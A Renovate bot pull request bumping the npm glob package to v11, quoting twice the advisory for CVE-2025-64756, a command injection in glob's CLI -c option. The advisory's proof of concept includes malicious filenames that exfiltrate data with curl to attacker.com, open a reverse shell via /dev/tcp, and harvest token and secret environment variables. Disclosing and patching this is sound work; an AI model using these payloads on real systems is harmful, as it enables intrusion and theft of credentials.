renovate-sh-app[bot] 5790b9a68d chore(deps): update dependency glob to v11 [security] (#2122) ...

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### glob CLI: Command injection via -c/--cmd executes matches with
shell:true
[CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) /
[GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2)

<details>
<summary>More information</summary>

#### Details
##### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

##### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

##### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

##### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

##### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

##### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756)
-
[47473c046b)
-
[https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

###
[`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

###
[`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

###
[`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0)

###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

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♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

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---

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